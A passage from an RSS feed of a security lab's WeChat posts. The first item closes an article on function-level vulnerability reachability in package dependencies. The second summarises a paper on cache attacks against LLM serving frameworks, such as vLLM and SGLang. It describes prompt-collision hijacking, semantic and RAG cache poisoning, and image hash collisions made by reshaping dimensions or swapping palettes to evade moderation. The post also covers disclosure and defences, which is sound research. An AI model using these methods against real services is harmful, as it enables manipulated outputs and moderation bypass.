1024px;" data-imgfileid="100005322" src="https://wechat2rss.xlab.app/img-proxy/?k=9d928deb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhwsgSUQ3jM035Nu7jnHQ2FU00jiaresocnJTMX0rGUYzbFmJHP5AhIoA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">4.3 多跳分析：揭示传递性衰减规律</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">单跳分析揭示了初始衰减，但漏洞会通过传递依赖传播多远？我们追踪了完整的传播路径。在分析中，我们追踪了9,868,514条潜在传播路径，涉及1,663,634个包版本。最终不同漏洞的传播结果如下表所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6694444444444444" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005321" src="https://wechat2rss.xlab.app/img-proxy/?k=d901a553&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhj85yTKZQibsoRkNJ5NI25IdmSSwxL1BVIBLSUiafevJwyicehIVfMkKpg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在表格数据中， 以 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">CVE-2022-3517 (minimatch)</span></strong><span leaf=""> 为例，数据揭示了粗粒度分析带来的严重误报问题。包级别分析报告了 497,595 条潜在传播路径，涉及 286,731 个受影响的包版本。然而，经由 VulTracer 的函数级可达性分析，确证受影响的包版本仅为 22,557 个。从全局统计维度来看，函数级分析所识别的受影响库数量平均仅为包级别分析结果的 **31.72%**。这一数据统计表明，现有包级别依赖扫描工具产生的警报中，约 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">68.28%</span></strong><span leaf=""> 属于漏洞代码不可达的误报（False Positives）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5027777777777778" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005320" src="https://wechat2rss.xlab.app/img-proxy/?k=5aa17261&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhSic9pFT85n5mrYMrKQHRRickLSWsUPPaJepYfU35zheJ96MspZXTafPw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，在上图也更进一步可视化了漏洞传播随依赖链路深度的衰减过程，分别从两个不同的视角来进行呈现。图（a）展示了每一跳（Hop）中新增受影响包数量的分布情况。对比显示，函数级别（红色曲线）的传播在 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3 跳</span></strong><span leaf=""> 之后呈现出急剧的衰减趋势，与包级别（蓝色曲线）的长尾分布形成显著差异。这证实了真实的漏洞影响范围会随着依赖深度的增加而迅速减弱。而图（b） 展示了传播过程中的累积概率分布情况进一步佐证了这一“浅层效应”：函数级传播曲线迅速收敛并达到平台期，数据显示 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">96.59%</span></strong><span leaf=""> 的真实受影响包均收敛在 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4 跳</span></strong><span leaf=""> 的范围内。这意味着，尽管依赖图谱可能具有较深的层级结构，但具有实际威胁的漏洞传播主要局限于浅层依赖网络中。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">五、结论：从噪声中提取信号</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">面对日益复杂的开源生态，我们的研究证明，传统的“版本比对”模式已经难以为继。由现有包级别工具识别出的潜在风险中，高达 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">68.28%</span></strong><span leaf=""> 的漏洞代码实际上从未被调用。换言之，近七成的“受影响”项目其实是安全的，并不需要火急火燎地去修复。这种高误报率不仅制造了巨大的“噪声”，更导致了严重的警报疲劳，反而掩盖了真正的威胁。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此，转向更细粒度的</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">函数级可达性分析</span></strong><span leaf="">已是行业必经之路。通过 VulTracer，我们可以从噪声中提取出那 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">30%</span></strong><span leaf=""> 的真实信号。这不仅能让开发者从无效的运维工作中解脱出来，更能让安全团队聚焦于真正具有可利用性的威胁。这才是让供应链安全治理走出困境、迈向精准防御的未来方向。</span></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：<a href="https://researsh.qianxin.com/recruitement" target="_blank">https://researsh.qianxin.com/recruitement</a></span></span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-family: 宋体;font-size: 10.5pt;box-sizing: border-box !important;overflow-wrap: break-word !important;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3fb47c8c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488981%26idx%3D1%26sn%3D319fdc91a351ed80fdf470e1a4c16d41">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 Jan 2026 15:48:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】大模型服务框架的缓存相关威胁分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488942&amp;idx=1&amp;sn=a2330e5a2984a23fb66bfde69c36d901</link>
      <description>在大模型（LLM）服务极速发展的当下，效率至关重要。为了降低延迟并控制算力成本，主流推理框架广泛引入了先进的缓存机制。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2025-12-30 17:02</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=038ec3e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjU3mzxWVPhibOjSgr94BuHWsKbliaWCx9gx4YPSfgJ7aRl5wmL83rLtQA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 16px;">在大模型（LLM）服务极速发展的当下，效率至关重要。为了降低延迟并控制算力成本，主流推理框架广泛引入了先进的缓存机制。然而，这种追求极致速度的设计是否埋下了安全隐患？</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">本论文是由</span><span textstyle="" style="font-size: 16px;font-weight: bold;">奇安信技术研究院、中国海洋大学和清华大学</span><span textstyle="" style="font-size: 16px;">联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话，就会造成安全隐患。论文题目为《</span></span><strong><span leaf=""><span textstyle="" style="font-size: 16px;">Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks</span></span></strong><span leaf=""><span textstyle="" style="font-size: 16px;">》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。</span></span></p><p nodeleaf=""><img data-imgfileid="100005287" class="rich_pages wxw-img" data-ratio="0.3333333333333333" data-type="png" data-w="1080" data-width="1144" data-height="381" src="https://wechat2rss.xlab.app/img-proxy/?k=b5bbfec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjF4LmN8tZ3pD9tiaAJI8aZsibT5XqqLRVPKndWmHbUyJBDAOPF0OAmRKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="1"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">LLM推理加速背后的隐忧</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">随着模型参数规模的不断膨胀，推理计算的开销急剧上升。为了优化用户体验，vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略，包括前缀缓存（Prefix Cache）、语义缓存（Semantic Cache）和多模态缓存（Multimodal Cache）。</span></span></p><p nodeleaf=""><img data-imgfileid="100005285" class="rich_pages wxw-img" data-ratio="0.48796147672552165" data-type="png" data-w="623" data-width="623" data-height="304" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d95de6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjMB1YnsrhtmF9oLE2ucl5dlgwlsLlcPZicOYE77nFL0OvX6Vwj5oavjA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">虽然这些机制通过存储中间状态极大地减少了重复计算，但我们的研究发现，现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准，共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同，这是一类发生在推理阶段的全新安全威胁。</span></span></p><ol class="list-paddingleft-1" start="2"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">Cache Me, Catch You：首个LLM缓存安全系统性研究</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">为了揭示这一风险，我们对主流LLM服务框架的缓存实现进行了全面的解构与分析，并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性，能够在不接触模型权重的情况下，通过污染共享缓存来操纵模型输出。</span></span></p><p nodeleaf=""><img data-imgfileid="100005288" class="rich_pages wxw-img" data-ratio="0.2777777777777778" data-type="png" data-w="1080" data-width="1264" data-height="351" src="https://wechat2rss.xlab.app/img-proxy/?k=b1402970&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjmmfzL8kjkpXpSWBLz4pNA4dcLgtSzvH5pRNCAOoicZsPnrENFOLlfLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong><span leaf="">主要发现与攻击向量：</span></strong></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们将发现的威胁归纳为两大类：一是面向用户的欺诈攻击，即攻击者利用系统渠道向用户传递恶意信息 ，具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ，以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ；二是系统完整性攻击，旨在破坏服务功能或绕过安全审查 ，具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ，以及利用图像处理忽略元数据（如尺寸）缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。</span></span></p><p><strong><span leaf="">细节详解：</span></strong></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">以多模态为例，其核心漏洞根源在于当前主流推理框架（如vLLM）在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言，vLLM默认调用PIL 的 </span></span><code><span leaf=""><span textstyle="" style="font-size: 16px;">tobytes()</span></span></code><span leaf=""><span textstyle="" style="font-size: 16px;"> 方法来提取图像数据以计算哈希，该方法虽然能获取原始像素字节流，但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击，通过重塑图像维度（例如将 H*W的图像变形为W*H）而不改变像素排列顺序，使得原本违规的图片变成一团毫无意义的噪点，从而生成与原图完全一致的哈希值。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">此外，攻击者还能利用“调色板模式”漏洞，构造出索引数据相同但颜色定义截然相反的图片对（如黑底白字与白底黑字），由于序列化过程仅读取索引而忽略调色板定义，这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。</span></span></p><p nodeleaf=""><img data-imgfileid="100005284" class="rich_pages wxw-img" data-ratio="0.8542024013722127" data-type="png" data-w="583" data-width="583" data-height="498" src="https://wechat2rss.xlab.app/img-proxy/?k=c9b29975&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSj3Q9WOLauluraGfU7hicGriaEnZV0NT8amLmW4OZM8SH7DUib29pk0FPQQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">同样的隐患也出现在SGLang框架中，其为了适配张量数值范围将SHA256哈希值进行了取模截断，导致哈希空间被压缩至极易发生碰撞的范围。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘，实现看上去不同的图片但是hash一致。</span></span></p><p nodeleaf=""><img class="rich_pages wxw-img" data-height="451" data-imgfileid="100005286" data-ratio="0.7181528662420382" data-width="628" data-type="png" data-w="628" src="https://wechat2rss.xlab.app/img-proxy/?k=a06cc791&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjpIpIcia8e82QeIRkPUgwqBCYxE02P1Lah3Z5lGeWVmkloMQEf1pcQvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="3"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">实验效果与影响评估</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测，证实了这些攻击路径的高可用性与低门槛：攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例，我们在30分钟内便成功搜索到碰撞哈希，实现了100%的缓存命中 。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图，成功命中图片之后会复用之前的图片预处理结果，导致生成了错误回复。</span></span></p><p nodeleaf=""><img data-imgfileid="100005289" class="rich_pages wxw-img" data-ratio="0.462992125984252" data-type="png" data-w="635" data-width="635" data-height="294" src="https://wechat2rss.xlab.app/img-proxy/?k=bb9f0c8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjhuACLegBGGuOOyibwVWx8IfbSick2OITnXL5UjxjAicVDSy6QZu3bKm1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="4"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">防御方案与行业响应</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">针对发现的漏洞，我们提出了五层防御策略，包括引入随机化哈希（Salting）、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明，上述的防御方案是可行的、有效的。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们在第一时间将发现的漏洞通报给了受影响的厂商和社区，包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy，并分配了 3个 CVE 编号。值得注意的是，vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施（如引入随机盐值、规范化图像序列化等）并完成了修复。（在本文发表时，SGLang也反馈采纳了我们的缓解措施。）</span></span></p><ol class="list-paddingleft-1" start="5"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">讨论与未来展望</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们的研究再次表明，高性能不应成为忽视底层系统安全的理由。本研究证明，即便模型本身无懈可击，外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石；特别是在云端共享算力场景下，必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作，本研究旨在推动社区正视这一隐蔽威胁，共同构建更稳健的大模型服务基础设施。</span></span></p><h3><span leaf=""><span textstyle="" style="font-size: 16px;">更多参考</span></span></h3><p><span leaf=""><span textstyle="" style="font-size: 16px;">想了解更多技术细节？欢迎阅读我们的学术论文或访问项目主页：</span></span></p><p><strong><span leaf="">代码仓库：</span></strong></p><p><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://github.com/XingTuLab/Cache_Me_Catch_You" target="_blank">https://github.com/XingTuLab/Cache_Me_Catch_You</a></span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">感谢您的阅读，期待能为您的AI安全研究与工程实践带来启发！</span></span></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="Calibri" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
